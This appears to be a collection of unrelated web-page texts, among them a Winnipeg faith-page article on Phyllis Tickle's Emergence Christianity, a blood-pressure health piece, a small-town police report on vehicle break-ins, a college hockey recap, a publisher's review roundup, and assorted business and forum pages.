Already have an account? Log in here »
Subscribers Log in below to continue reading,
not a subscriber? Create an account to start a 30 day free trial.
Hey there, time traveller!
This article was published 12/4/2013 (2346 days ago), so information in it may no longer be current.
When she was in Winnipeg in 2009, Phyllis Tickle talked about the Great Emergence, a "monumental" shift in Christianity that is changing the church in Europe and North America.
Based on her book The Great Emergence: How Christianity is Changing and Why, she said it was part of a 500-year cycle that included bringing the church out of the dark ages, the Great Schism between Eastern and Western churches and, most recently, the Protestant Reformation.
These cycles are like giant garage sales, she added, a time when the church takes a look at the stuff it owns and decides to get rid of what it no longer needs.
For some, it's an energizing time of newness and vitality. For others, it's an uncomfortable and disquieting experience as longstanding and cherished doctrines and traditions are deemed unnecessary by a new generation of Christians.
Out of this upheaval is coming "a new gathering of believers that is not based on traditional denominations, creeds or beliefs," she said, noting it's a "mix of Evangelicalism, Pentecostalism, the mainline Protestant churches and the liturgical tradition, together with an emphasis on head and heart — not just one or the other — along with the deep commitment to social justice."
Since that time, Tickle has been exploring this "fresh expression" of Christianity, compiling what she's discovered into a new book titled Emergence Christianity: What it is, Where it is Going and Why it Matters. And now she's coming back to Winnipeg for one last visit to share what she's found — at the age of 80, she says it's time to slow down and spend time finishing two more books.
Sponsored by the Diocese of Keewatin, the event — titled An Evening and a Day with Phyllis Tickle — will be held Friday evening, April 26, and all day Saturday, April 27 at St. John's Cathedral, 135 Anderson Ave. People from every denomination are welcome, but registration is limited to 120 people.
I spoke to Tickle last week about what she's found out about Emergence Christianity over the last few years.
First off, she says that it's "changing from a conversation into a movement," although that movement is really just "in the toddler stage."
It's impacting every denomination, she says — there are "Presbymergents" and "Anglimergents" and many other forms of emerging Christianity.
In terms of their approach to faith, Emergents are more interested in community and conversation, not a set of beliefs and creeds — for them, how people behave is more important than what they believe.
Emergents are not interested in structures and hierarchies and buildings, she noted. "They're not going to own real estate," she says, adding that they prefer to meet in homes, pubs, community centres and other non-traditional meeting places.
Emergents have also accepted the fact that they live in a post-Christendom world — a world where being religious confers no special treatment or favours.
"The last thing they want to be is part of a socially acceptable religion," she says.
One things she does find interesting is that Emergents are attracted to Anglicanism, preferring its liturgies and its way of living out the faith.
"Of all the traditional denominations, Emergents find the Anglican Church to be the most appealing," she says.
Although she has tried to capture the essence of this new expression of Christianity in the book, Tickle is careful to describe it as an "interim report."
"I'm not sure where it's going," she says. "Nobody knows."
Her book, she says, is a "dispatch from the field, an opportunity for us all to assess where we are, project where we probably are going, and enter prayerfully into this new thing that God is doing."
What she can say for sure about Emergence Christianity is that "it is growing and shifting and reconfiguring itself in such a prodigious way as to still defy any final assessments or absolute pronouncements."
For traditional Christians, all these changes can create anxiety — including for parents who don't see their kids going to church on Sunday mornings anymore.
"Well, of course they are not there," she said in another interview. "They're down in the pub every Tuesday night, having a beer and doing pub theology. It's just church in a new way. God is doing a new thing again and we're living in it.
Penny Cummine is helping to organize Tickle's presentations in Winnipeg. For her, a goal of the event is to give hope to people from various denominations who may feel that the church in Canada is dying.
"Tickle offers a very hopeful picture" for the future, she says, adding that "there are all kinds of signs that are exciting and life giving."
All people need, she adds, "is an open heart and an open mind" to see "where God is calling us to build his kingdom."
For more information about Tickle's visit to Winnipeg, go to www.rupertsland.ca and click on events, email email@example.com or call 807-407-7939. The cost is $50 per person, or $80 per couple.
John Longhurst
Faith reporter
John Longhurst has been writing for Winnipeg's faith pages since 2003. He also writes for Religion News Service in the U.S., and blogs about the media, marketing and communications at Making the News.
You can comment on most stories on The Winnipeg Free Press website. You can also agree or disagree with other comments. All you need to do is be a Winnipeg Free Press print or digital subscriber to join the conversation and give your feedback.
By submitting your comment, you agree to abide by our Community Standards and Moderation Policy. These guidelines were revised effective February 27, 2019. Have a question about our comment forum? Check our frequently asked questions.


text:
Is having a bad habit ever a good thing? It kind of can be if your aim is to lower your blood pressure, since one way to do that is to reduce your alcohol consumption significantly. It's a winning strategy -- but only, of course, if you were drinking a lot in the first place.
Many studies have documented the link between alcohol and blood pressure. A 2001 review of 15 alcohol-reduction trials with 2,234 participants concluded that cutting back on alcohol led to reductions in systolic and diastolic blood pressures. The greater the alcohol reduction, the greater the blood pressure reduction.
Some scientists believe that red wine, in moderate amounts, may improve vascular function and have a less harmful effect on blood pressure than other forms of alcohol -- maybe even a positive effect. But this was not supported by a 2005 study that found red wine and beer increased systolic blood pressure by about the same amount.
Any time you smoke a cigarette, it can produce an immediate (but temporary) surge in blood pressure due to the nicotine. There's no evidence that smoking increases the risk of chronic high blood pressure, but smoking plus high blood pressure appear to have a greater-than-additive effect on the risk of hemorrhagic stroke. So quit, already.
Caffeine can make blood pressure rise temporarily, especially if you're not used to it. But there's no definitive evidence that a cup (or two) of coffee a day raises blood pressure over the long haul. Some research suggests heavy caffeine consumers get used to it, so their blood pressure doesn't react as much anymore.


text:
- Home
- News
- Sports
- Opinion
- Obituaries
- Features
- Special Sections
- Classifieds
- Public Notices
The Galax Police Department is investigating reports of several vehicles that were entered Sunday night in the West Galax area — including one belonging to a police officer.
According to Chief Rick Clark, small items such as GPS units, game systems and hand-held electronics have been taken, along with cash and some items of clothing.
There were 28 incidents reported as of Tuesday afternoon, Clark said. None of the vehicles were locked.
The incidents occurred on Parkwood Drive, West Stuart Drive, Ernie Pyle Street, Roseland Road, Northview Street and Terrace Lane. One of those vehicles belongs to a Galax police officer, Clark confirmed.
On Monday, police issued an alert for residents of those areas to check their vehicles for tampering or theft.
Anyone who may have seen or heard anything during the night or has information about these thefts is asked to contact the police department at 236-8101 or text "Galax" to TIP411, followed by your information. These text tips are anonymous.
"If anyone remembers seeing a vehicle or person(s) on foot in the area [Sunday] night, remember — if it didn't seem right, it probably wasn't," Clark said.
"Crimes are solved sometimes by the smallest tip that ties everything together."
Add new comment
Read and share your thoughts on this story


text:
40Dating.net is the easiest 40+ dating services in the Georgia area.
Just a few of the benefits of our service include...
40Dating.net is one of the fastest growing over 40 dating websites in USA. The dating services we offer are 100% confidential, secure and very simple to use. Our helpful customer support team are happy to help you out in any way they can from Monday to Friday.
When you first join 40 Dating, you become a free member. As a free member you can create a free dating profile, add a photo, search for single men or women by county, create your favourites list and send unlimited winks. You'll also receive an email if someone adds you as one of their favourites, winks at you, or sends you a message. With instant messaging, status updates, member feeds, video dating, dating diaries and more, there are plenty of ways to meet 1000's of our 40+ members.
If you decide to become a premium member, you will also be able to:
Send and receive private messages to single men and women over 40
Chat with men or women with our online instant messenger
See who's looked at your profile
Add multiple photos to your profile
Video chat with other 40+ dating singles
Create and read dating diaries
Create and watch video profiles
You can upgrade your account from free to full premium membership by accessing 'My Account' when you login, or click here to be taken to the membership page once you are logged in.
If you have any questions about your membership, or have any trouble using our service, our dedicated USA based support team are on hand Monday to Friday from 9am to 5pm and will be happy to help you.


text:
BOSTON, Mass. – With a goal from Jeyna Minnick the Bengals of Buffalo State College were able to sneak past women's ice hockey by the final of 2-1 Tuesday afternoon in a non-conference contest in the Clark Athletic Center Ice Arena.
Minnick's deciding goal came just 12 seconds after the Beacons had tied the score at 1-1. With Tuesday's setback the Beacons fell to 4-8-1 on the season, while the Bengals improved to 5-8-1 overall.
The goal for Minnick was the fourth of the year for the forward, with Nikki Kirchberger getting the assist, her third.
Scoring the lone goal for UMB was Sarahanne Cavolo (Roxbury, N.H.) on the power-play at 13:53 of the second period. Dylan Caron (Burrillville, R.I.) and Katie Loiselle (Glocester, R.I.) were each credited with an assist on a bang-bang play that tied the score at one goal a-piece.
Breaking the scoreless draw for the Bengals was Kara Goodwin at the 17:02 mark of the first period.
Freshman Casey Schaejbe (Arlington, Mass.) stepped back in between the pipes and totaled 19 stops, while her Buffalo State counterpart, Jordan Lee made 35 saves. After losing the shots battle in the first period, UMB dominated the offensive ice over the last two frames as they outshot the Bengals 31-12. In the final period UMass outshot Buffalo 17-2, but was unable to break the goal line.
Defensively the Beacons played an extremely physical and tough game despite surrendering the two goals. Freshman Samantha Fallon (Pembroke, Mass.) helped to the anchor the Beacons backline, while Kelly Sharlow (Potsdam, N.Y.) helped to not only limit the Bengals offense, but also contributed to UMB's offensive pressure as well.
On the power-play, UMB closed out the afternoon 1-for-3, while the Bengals were 0-for-3 on their man-up chances.
Women's Hockey returns to the Clark Center Ice Arena tomorrow at 1 p.m. when they take on Buffalo State for the second time.


text:
Welcome to the next edition of our brand new series, PUP News of the World! Every week we will be posting a round-up of all of our most exciting national AND international reviews/interviews/events/articles, etc. that took place in the last week.
This week our article of the week comes from Financial Times! In the spirit of the holidays, the FT has posted a list of the best books of 2013 as chosen by FT writers and guests, including six Princeton University Press titles!
In the category of Business, Marc Levinson's book, The Box: How the Shipping Container Made the World Smaller and the World Economy Bigger, was chosen by none other than the Chairman of Microsoft, Bill Gates! Of the book, he said, "[This book] was published in 2006 but I read it just this year, around the time I visited the Panama Canal. A book about metal boxes may not sound like a thrill ride, but Levinson keeps it moving with compelling characters and surprising details. He unravels the history of how the shipping container revolutionised the way the world does business, affecting everything from shipping times to the depth of ports. A helpful guide to one of the cornerstones of globalisation. I won't look at a cargo ship in quite the same way again."
In the category of Economics, three of our books were chosen by Martin Wolf. The first, The Bankers' New Clothes: What's Wrong with Banking and What to Do about It by Anat Admati & Martin Hellwig, Wolf called "[T]he most important book to have come out of the financial crisis". The second, Mass Flourishing: How Grassroots Innovation Created Jobs, Challenge, and Change by Edmund Phelps was called "[E]xtraordinary… Phelps has addressed some of the big questions about our future". Last but not least, the third selection was The War of the Sexes: How Conflict and Cooperation Have Shaped Men and Women from Prehistory to the Present by Paul Seabright, which Wolf says "With characteristic brilliance, Seabright uses biology, sociology, anthropology and economics to explain the war of the sexes".
In the category of History, Tony Barber chose two PUP titles. Barber called the first Prague, Capital of the Twentieth Century: A Surrealist History by Derek Sayer, "[T]houghtful, witty and well-illustrated". He also selected Benn Steil's The Battle of Bretton Woods:John Maynard Keynes, Harry Dexter White, and the Making of a New World Order, of which he said, "Steil's book is an object lesson in how to make economic history entertaining and instructive".
Lastly, in the category of Art, Jackie Wullschlager chose T.J. Clark's Picasso and Truth: From Cubism to Guernica, calling it "[A] brilliant art-historical analysis… The most original book on Picasso for years".
Robert Herritt of the Daily Beast reviewed Would You Kill the Fat Man? The Trolley Problem and What Your Answer Tells Us about Right and Wrong by David Edmonds, calling it "[I]mpressive…[A] walking tour of moral philosophy organized around one of the most well-known thought experiments of the last half century….By weaving together abstract principles, biographical sketches, historical examples, and trendy research in this just-so way, Edmonds has figured out how to illustrate the dimensions and consequences of moral decision-making without sacrificing entertainment value…[A] carefully executed book".
There was a review in The Guardian for Why Can the Dead Do Such Great Things? Saints and Worshippers from the Martyrs to the Reformation by Robert Bartlett, in which Diarmaid MacCulloch said "… there is much to enjoy in the array of human behaviour, sacred and by our standards profane or just downright mad, chronicled in Bartlett's excellent study."
Anne Kingston of Maclean's wrote a feature on Cooking for Crowds: 40th Anniversary Edition by Merry White this week, saying "Recipes ahead of the curve 40 years ago—dirty rice, pork vindaloo— remain au courant; others—Swedish meatballs, Charlotte Malakoff au chocolat—exude a retro '70s vibe that's also au courant. Prep details for six, 12, 20 and 50 servings of each recipe are provided. Practical advice abounds, including not to multiply powerful spices like other ingredients… [Cooking for Crowds] remains a boffo resource for those hankering to make chicken Bengal for 12 or baklava for 50."
Nicholas Kristof mentioned The Great Escape: Health, Wealth, and the Origins of Inequality by Angus Deaton in his New York Times Sunday Review column discussing foreign aid this past weekend.
Joan Acocella reviewed The Book of Job: A Biography by Mark Larrimore in The New Yorker.
Gordon Marino had an Op-Ed piece about Nelson Mandela and Kierkegaard on the Chronicle's "The Conversation" blog, which mentions The Quotable Kierkegaard, Marino's most recent publication. Similarly, Marino had an Op-Ed in The New York Times this week in which he discusses Vitali Klitschko's run for the Ukranian presidency.
David Wessel recently wrote an article about The Dollar Trap: How the U.S. Dollar Tightened Its Grip on Global Finance by Eswar S. Prasad in the Wall Street Journal, calling it "[A] surprising argument….[L]ucid….". Prasad also did an interview with Wessel, which can be found here. Lastly, Prasad wrote an article for the Harvard Business Review about the argument his new book makes.
What W. H. Auden Can Do for You by Alexander McCall Smith was reviewed by Times Higher Education this week. Chris Jones called it "charming".
On a very international note, Edmund Phelps was interviewed about his book, Mass Flourishing: How Grassroots Innovation Created Jobs, Challenge, and Change, by Die Welt (The World), a German national daily newspaper, this past weekend. Phelps also did a Q&A recently with Dylan Matthews that appeared on WashingtonPost.com's Wonkblog in which they discuss his book, plus Arnold Kling reviewed Mass Flourishing on his blog, Econlib, saying "Phelps has given us a clear warning of the dangers of corporatism. I hope that more people hear and heed the warning."
National Journal published their featured list of "The Best Political Books We Read in 2013" this week, which included The Gamble: Choice and Chance in the 2012 Presidential Election by John Sides & Lynn Vavreck. Of this selection, Steven Shepard said, "What really mattered in last year's elections? George Washington University professor John Sides and UCLA professor Lynn Vavreck, in a remarkably fast turnaround for an academic work, applied social science to the developments of last year's presidential election in The Gamble. It turns out that the events journalists described in real time (including this one) weren't as important as they were made out to be. And Sides and Vavreck provide an important reality check that observers should heed before the daily doings of 2016 consume us all."
Addiction by Design: Machine Gambling in Las Vegas by Natasha Dow Schüll, was recently listed in The Atlantic's Best Book's of the Year roundup. Alexis Madrigal said, "If books can be tools, Addiction by Design is one of the foundational artifacts for understanding the digital age—a lever, perhaps, to pry ourselves from the grasp of the coercive loops that now surround us."
With Christmas rapidly approaching, Irish Independent put together a Christmas books round-up, which included The Battle of Bretton Woods: John Maynard Keynes, Harry Dexter White, and the Making of a New World Order by Benn Steil, which they referred to as a "masterful account".
The Limits of Partnership: U.S.-Russian Relations in the Twenty-First Century by Angela E. Stent was recently reviewed in the Kirkus Reviews. In the article they called it "[L]ucid….[R]eadable and sometimes surprising…..".
Times Higher Education reviewed The Confidence Trap: A History of Democracy in Crisis from World War I to the Present by David Runicman this week, calling it "[I]nsightful", and saying that "Runciman has written a brilliant book in which both the prose and the ideas sparkle".
Lastly, a number of PUP books are featured in Bloomberg Businessweek's best books of 2013 feature, "Buffett, Slim, Greenspan, El-Erian, Lew Pick Best Books of 2013." The list includes Worldly Philosopher: The Odyssey of Albert O. Hirschman by Jeremy Adelman, The Banker's New Clothes: What's Wrong with Banking and What to Do about It by Anat Admati & Martin Hellwig, The Great Escape: Health, Wealth, and the Origins of Inequality by Angus Deaton, An Uncertain Glory: India and its Contradictions by Jean Drèze & Amartya Sen, and The Battle of Bretton Woods: John Maynard Keynes, Harry Dexter White, and the Making of a New World Order by Benn Steil.


text:
Find the hidden museum cats in Washington D.C.
There are felines hiding in the Freer Gallery of Art and the Arthur M. Sackler Gallery.
Cats lurk in odd corners of the refined and elegant museums on the National Mall in Washington D.C., just waiting to be found.
One sits demurely in a well-viewed corner of the fabled Peacock Room. Another is mounted on a wall staring inscrutably over the heads of wandering tourists. A third is the back of a mirror that likely reflected the face of a Chinese aristocrat applying her make-up.
"We see evidence and writings about, that mention cats as early as the 11th – 12th century," says Ann Yonemura, the Freer's Senior Associate Curator of Japanese Art.
The Freer was built to hold the Asian collection of Charles Lang Freer from his worldwide trips in the early 1900s. Next door, the Arthur M. Sackler Gallery holds South Asian items from India, Iran and other countries in the region.
Where do you find the Freer and Sackler's cats?
_ In the famed Peacock Room, painted by James McNeill Whistler, a small fist-sized earthenware kitty from Japan's Meiji period (1868-1912) sits at the feet of the massive gold-framed painting of "La Princess du pays de la Porcelaine."
_ In the Sackler exhibit of "Feast Your Eyes: A Taste for Luxury in Ancient Iran" there are three curving wine horns from the Parthian period (100 BC-100 A.C.). One has an aggressive lynx, another a lion head.
_ A pair of stylized bronze tigers, acquired in 1935, are supposedly from China's Zhou dynasty, 1046–256 B.C.
_ A lion head sculpture from the Amaravati Stupa in India dates back to the 2nd century C.E.
_ In the corridor of the Meyer Auditorium, a small bronze hand mirror from China's Sui dynasty (581-618 C.E.) has stylized frolicking felines on the back.
Hidden in the archives, there are even more cats.
Among Kobayashi Kiyochika's prints a playful black and white bobtail plays with a fallen lantern, a dangerous game amid the wooden buildings of Edo (Tokyo). Another has a red-collared white cat with its paw on its squirming prey. The mouse is obviously dinner.
In another, a Zen patriarch threatens a cat with a knife. A black cat glows amid the golden leaves on a silk scroll.
Yonemura says one of the motifs seen in later Japanese art from the 18th-20th century is "cats in association with beautiful women and very often the cat is being cuddled," as in Tsukioka Yoshitoshi's "Woman holding cat."
But really, Yonemura says, it is "the beloved cat who is portrayed in a painting, as if we were taking cellphone photos for our Facebook page (of) our most adorable cat in the world."
"You know, because... Don't we think ours is always the most adorable?"


text:
Email has been sent to you , please check your spam/junk emails if you are unable to find the email.
Due to some internal error, the mail has not been sent.
R134a, R404A, R407A, R407C, R417A, R422A, R507
106-1915 kW
Tenor air-cooled condensers cover a large range of capacity for commercial and industrial applications. The Tenor condensers are designed for external installations, for all applications in refrigeration and air conditioning. All models are available with vertical airflow.


text:
I am at the present working in the background trying to fix problems that has occurred because of crash in this area... Please if you find a problem or a broken link please contact me.
Flashback has a new area Crosswords..
check it out tell your friends.
Click here for the new Crossword area.
ALLdownunder has two main areas...
The main area that has information and content which is maintained by my lovely wife Pam
Flashback area and technical issues is handled by me.
We are modernising our site but due to financial restraint this will take some time to achieve. Our Australian Ecard system will be the first. Like to help.. donations will be much appreciated.
Donations can be made by scrolling down the end of the Board Index or clicking on http://alldownunder.com/aus/donate.php
my final item is.. Be safe take care and hope you return again..
Thanks Max.


text:
Hello everyone:
my name is alexandros milonakos im from greece:
i would like to ask information about gothic 1 full pc game order buy?
can i find the gothic 1 pc game full in this site to order it?
i would apreciete some help if someone knows thank u very much wishes to everyone.


text: Though not Savannah's oldest cemetery, Bonaventure is certainly its most famous and hauntingly beautiful. Quintessentially Southern Gothic, it has captured the imaginations of writers, poets, naturalists, photographers and filmmakers for more than 150 years. Part natural cathedral, part sculptural garden, Bonaventure transcends time. Military generals, poet Conrad Aiken, Academy Award-winning lyricist Johnny Mercer and Georgia's first governor Edward Telfair are among those buried at Bonaventure. The approximately 100-acre cemetery is also historically significant as a reflection of changing views on death and dying in the Victorian era. As death became more romanticized and ritualized during this period, cemeteries became lush, beautiful "cities of the dead." Another reason behind Bonaventure's popularity is John Berendt's book, Midnight in the Garden of Good and Evil, which featured a cover photo of the now-famous "Bird Girl" statue, formerly located in Bonaventure. The statue has since been moved to the Telfair Museum of Art, founded through the bequest of Mary Telfair, also buried at Bonaventure.


text:
Surf City Nights
Create account
Sign in
For information about downtown Huntington Beach
click here
Topbar menu
Copyright © 2010-2018 SurfCity Nights. All rights reserved.
Click here to edit contents of this page.
Click here to toggle editing of individual sections of the page (if possible). Watch headings for an "edit" link when available.
Append content without editing the whole page source.
Check out how this page has evolved in the past.
If you want to discuss contents of this page - this is the easiest way to do it.
View and manage file attachments for this page.
A few useful tools to manage this Site.
See pages that link to and include this page.
Change the name (also URL address, possibly the category) of the page.
View wiki source for this page without editing.
View/set parent page (used for creating breadcrumbs and structured layout).


text:
A few months ago, early stage VC firm First Round Capital announced a new ploy to find the next Mark Zuckerberg. It threw $500,000 into an initiative called The Dorm Room Fund (DRF) and gathered eleven student investors at Drexel and UPenn. The students could make $10 - 20,000 investments in promising classmates with startups. First Round's reasoning was that a lot of successful entrepreneurs started businesses in their dorm rooms: Michael Dell, Larry Page and Sergey Brin, and Bill Gates to name a few. Companies such as Warby Parker, Admob and MyYearbook came out of college campuses too.
Now, the student investors say they think they've found someone with Zuckerberg or Gates potential: 21-year-old Dan Shipper.
Shipper is DRF's first investment, and he's been granted $20,000 to see his startup, Firefly, through. Firefly allows any website to share a screen with a customer without downloading any software.
Prior to DRF's offer, Shipper was opposed to taking outside capital. But DRF allows him to build his startup while staying in school, which is all the philosophy major really wants. Shipper is a junior at UPenn, and he's been vocal about his desire to graduate. It's not because he hasn't had offers from other startups to drop out. In May, he was publicly recruited by a Y Combinator startup, 42Floors. The founder, Jason Freedman, wrote Shipper an offer letter with "no expiration," pleading with him to join. The post went viral on tech site Hacker News.
So, what makes Shipper Mark Zuckerberg material?
His site isn't' blowing up like Facebook's did, but it's pretty clear Shipper will have a bright future. We interviewed the wunderkind back in May.
Here's what he had to say then:
BI: What's your background?
DS: I do a lot of coding. I started learning to code when I was in fifth grade because the only way you can build a viable business as a 10-year-old is to know how to code. Last summer I interned at [New York startup] Artsicle. I'm a philosophy major.
AS: And did you build a viable business as a 10-year-old?
DS: I really wanted to make an operating system. I started buying books and reading up and then I realized that it's really, really tough to build an operating system. So I lowered my expectation and I spent a couple years coding different things, not really building any businesses.
In high school I started developing BlackBerry apps right before the iPhone came out in 2006. No one really knew what an app was so I started doing BlackBerry software development. The first app I made was called FindIt. I kept losing my BlackBerry in my house, and it would be on silent so I couldn't call it. FindIt made it so if I lost my BlackBerry in my house, I could just email it and it would ring even if it was on silent.
I eventually iterated that into a full-fledged web interface where you could completely control your BlackBerry from the Internet. You could track it, you could make it call you, you could lock it, you could make it display a message and you could back it up completely.
It was actually tested by the U.S. Army for use on Army BlackBerries. So I had a bunch of other apps like that for BlackBerry and iPhone.
BI: What have you worked on in college?
DS: When I first got to college I stopped doing mobile app stuff and started doing web development. And I guess the first successful website I did was with two friends called WhereMyFriendsBe. It took all of your Facebook friends and plotted them on a map.
That has about 40,000 sign-ups right now. I took freshman year as a way to learn how to take an idea and get it out on the web as quickly as possible. And I did probably 10-15 apps during freshman year. Over last summer I built a website, DomainPolish, and sold it in February.
BI: How are tech companies catching wind of you?
DS: Last summer I applied for an internship at a startup. They didn't want me but they introduced me to Artsicle's founders, Scott and Alex, as an intern.
In terms of Jason Freedman, I tweeted him about six months ago and said, "I want to talk, I'd love to get some advice." We are both frequent readers of Hacker News. It has generated 150,000 uniques for my blog in the past year. I admired Jason because of his writing style and the popularity of his posts so I wanted to get advice about blogging and entrepreneurship in general.
He called me while I was in class and we ended up talking for a long time. He's been a really great resource for me and he's just a really good guy.
BI: Have you gotten job offers from other tech companies too?
DS: Yeah, I have gotten other offers. It's a fun position to be in.
BI: From any big fish like Facebook?
DS: No, I haven't gotten any offers from a really, really big company like that, just from well-known startups.
BI: What keeps you in school? Is there any company that could lure you away?
DS: I don't think so. I'm not in school as a resume-builder. I'm not in school so I can get a job after I'm done. I'm a philosophy major.
I'm in school because I enjoy it, and I think it's important and I think I'm learning things that are important in it. I'm taking my time in school to a) learn things but b) take the time to productively prepare myself for when I'm out of school — essentially to set myself up to work for myself when I'm done.
AS: So you'll work for your own startup when you graduate?
DS: I'm trying to learn to run a sustainable business because I think in the environment right now, it's very easy to raise money — I guess it's not super easy, but it's relatively easy to raise money. I don't think the environment is going to be that way in two years.
So my interest is in building businesses the way they've traditionally been built: they make money. You can build that kind of a business in any investment climate, and I think the beauty of software is that it allows you to build businesses where the only cost is your time.
To me, the only thing I've ever done right is to doggedly pursue the things I'm interested in. That's what I want to continue to be able to do when I get out, so I'm preparing myself.
Check out the full interview with Dan Shipper, here.


text:
P/N 83091 shown for illustration purposes. See chart below for your part.
Download Instructions Here
If you're an authorized dealer, you can submit a purchase order here.
Company Name (required)
Your Email (required)
Your Message
Upload Your P/O File:
Please enter the code shown above:
If you'd like to find a dealer in your neck of the woods, fill out the form below with your location and we'll get back to you.
Your Name (required)
If you'd like to apply to be a new dealer, fill out the form below and we'll contact you.
Phone Number (required)
Your Website
Enter the Code Shown Above:
Your email address will not be published. Required fields are marked *
Name *
Email *


text:
Federal Court Backs FCC's Treatment of Internet as Utility
WHITESBURG, Ky. – A federal court has upheld the Federal Communication Commission's decision to treat the Internet like a utility – a victory for consumers say advocates of net neutrality.
The 2-to-1 ruling came Tuesday from the U.S. Court of Appeals for Washington, D.C.
Marty Newell, a member of the Rural Broadband Policy Group, says the court ruling is "part of the march" to treating broadband the same way we treat telephone service.
"It's not optional," he stresses. "It's not a luxury. There was a time when Internet access might have been considered a luxury, but it's not now. That time has passed.
"It's a necessity in the same way that we looked at the telephone once upon a time."
The cable and telecom industries and their allies argue that the FCC's rule is overreaching and would stifle investment and customer choice.
But Newell and other advocates say web users need more protections from providers.
Newell says the ruling is especially important in rural areas of the country that are underserved by broadband.
Take Kentucky for example, where Newell says around one out of every four households does not have access to broadband services.
"We don't have as much choice," he points out. "The competition is not nearly as great.
"It is critical that this communications tool that it is absolutely essential to do business in the 21st century, that it be an open system."
The Rural Broadband Policy Group says of the 19 million Americans who don't have broadband, more than 14 million live in rural parts of the country.
Noting a lot of money is at stake, Newell says he knows the legal challenges will continue, something the industry giants have promised.


text:
Columbus Bar Lawyers Quarterly provides members with a forum for discussion on a variety of topics in a magazine format published four times per year (January, April, July, and October). The magazine is distributed digitally to nearly 5,000 attorneys and legal professionals, and is housed on the Columbus Bar website and on Issuu.com. Articles are submitted offering information on law office management, practice tips, changes in the law, association news, and courthouse developments.
** For information about advertising in Lawyers Quarterly, please contact Barb Burgie, MediaFusion, (800) 713-0445 or firstname.lastname@example.com.
This directory of over 7,000 area attorneys is printed annually, and is also available in a searchable online format. Over 3,500 printed copies of the directory are sold annually. This desktop reference includes contact information and photos for over 7,000 attorneys, judges and paralegals in the Columbus area as well as contact information for courthouse personnel, government agencies, mediators, and forensic consultants.
** Click here for information about advertising in the Columbus Bar Directory.
Increase the visibility of your organization among the central Ohio legal community by sponsoring a CLE program, committee, or by becoming a CBA member benefit provider.


text:
AmeriGas Services & Location Information
Contact900 SOUTH INDUSTRIAL WAY
Location Type
AmeriGas Office
Hours of OperationThe hours listed below may not reflect holiday hours and are subject to change.
- Mon
- 8:00-5:00
- Tues
- 8:00-5:00
- Wed
- 8:00-5:00
- Thurs
- 8:00-5:00
- Fri
- 8:00-5:00
- Sat
- Sun
Services Offered
About AmeriGas
With AmeriGas you get more than just a propane supplier, you get a propane expert and partner.
We have over 50 years of experience providing dependable propane service to our customers. With focus on safety and our customers, we are committed to providing safe and reliable propane service for your home, business, or farm. Our location offers year-round propane services including delivery services, tank installations, propane system maintenance and seasonal service, and more.
Our commitment to our customers extends 24 hours a day 365 days a year. If you ever have an emergency, you'll speak with a live trained employee-not an answering machine. In the event of severe weather or a natural disaster, we have a team of employees from around the country available to assist our customers. Our location also offers multiple payment and delivery options, pricing programs, and online account management to ensure your propane service fits your needs.
Whether you are looking to convert your home to propane or have a simple service request, our knowledgeable representatives are always available to assist.


text:
Related Resource
Review of Recreational Fisheries Survey Methods (April 2006)Report in Brief
Recreational fishing in the United States is an important social and economic component of many marine fisheries, with an estimated 14 million anglers making almost 82 million fishing trips in 2004. Although each individual angler typically harvests a small number of fish, collectively these sport fisheries can take a significant fraction of the yearly catch, and the large number of anglers and access points makes monitoring recreational fishing much more difficult than monitoring commercial fishing. This report reviews the types of survey methods used to estimate catch in recreational fisheries, including cooperative state and federal programs, and finds that both telephone survey and onsite access components of the current monitoring systems require improvements in design or implementation. This report recommends the establishment of a comprehensive, universal sampling frame with national coverage to facilitate data collection and the improvement in statistical analysis of the data and in the ways the data are communicated to recreational fishing groups.


text:
Part of the process of creating an atmosphere of mutual respect and inclusion is providing a means to address conflicts and disputes when they occur. University policies protect against the discrimination and harassment of all members of the St. Bonaventure community. The university's Council on Discrimination and Harassment, Advocacy Officers, the Ombuds Officer and others are available to guide any student, staff or faculty member through the conflict resolution process.
See the Conflict Resolution Brochure
Application forms, procedures and additional information
There are many ways to experience
St. Bonaventure for yourself
Learn more about the programs that interest you


text:
W@M Engineering – reliable planning & traceability
A variety of online tools and updated data simplify your daily engineering tasks
Engineering is vital for successful operation of a plant. Sophisticated tools applied during planning shorten the engineering time and reduces capital expenditures. To guarantee reliability, you have access to up-to-date product information. Therefore, you can make the right decisions based on consistent data. W@M Engineering supports you with web-based tools, allowing smooth data transfer into the procurement and installation phases of your asset's life cycle.
High data quality and consistency
Online tools enable you to select, size and configure the proper product from a wide portfolio per your industry application. The specific product code builds the basis for generating specification sheets and further engineering data. During the engineering process, the data is enriched with added information. The open interface helps to integrate and exchange data easily. Plant structure is stored for later reuse during operation.
Electronic documentation ensures traceability
Project planning and administration
Working on Piping and instrumentation diagram (P&ID) and specifications sheets
Easily identify and locate devices and measuring points
Select and size the correct device for your application according to your specific industry parameters
Documentation of all processes and instruments such as 2D & 3D models and hook-up drawings
Recorded engineering data for easier commissioning and maintenance
Complete offering of best-fit field instruments from a single supplier
Record engineering data from the beginning stages of project for later reference
Complete support of your instrumentation projects, even third party devices
Efficient specification, planning and documentation via electronic data exchange
Complete traceability of your instruments throughout its entire life cycle
Easy transfer of instrument data to the procurement phase
Reduce risk, time, costs and increase quality


text:
Irv Gotti Announces A New Member Signed To Murder Inc "T-Dot" From Detroit
Irv Gotti bringing T-Dot from Detroit into the Murder Inc family
Please click the "Report" button below if the video on this page is not working properly.
Comments will only be displayed by verified emails. No Spamming or Racism.


text:
Now offering a full line of Custom Kitchen Cabinets and Complete Kitchen Design by Hanover Cabinets
Call or visit our showroom for details.
Minimum of 40 sqft required. Restrictions May Apply. Subject to change without notice.
Call Today! (804) 577-1176
Minimum Purchase Required. Restrictions May Apply. Subject to change without notice.
Colonial Granite Works is proud to serve not only Richmond but also Midlothian, Chesterfield, Mechanicsville and most of central Virginia, from Charlottesville to the Northern Neck.We recommend Lloyd with confidence and without hesitation...Lloyd is both passionate about doing the job right and personable with customers.
Planning your project? Be sure to check out the Virtual Kitchen Designer , this can help you with design planning for your kitchen color pallet and the Instant Countertop Estimator which will provide you with ballpark pricing based on specific stone material pricing.
Our new showroom located in Ashland, VA has all your stone samples as well as flooring and cabinets for your full kitchen renovation projects. Come check us out, we are conviently located at 10354 Leadbetter Rd. Ashland, Virginia 23005
Granite Locations |
Partners |
Services |
Granite Countertop News |
Edges |
Client Projects |
Granite links |
Feedback |
Fabricator |
Blog |
Affiliate Program
© 2019 GraniteMakeover.com/Virginia Custom Countertops Virginia | Property of Professional Remarketing Group, LLC All Rights Reserved


text:
Job Details
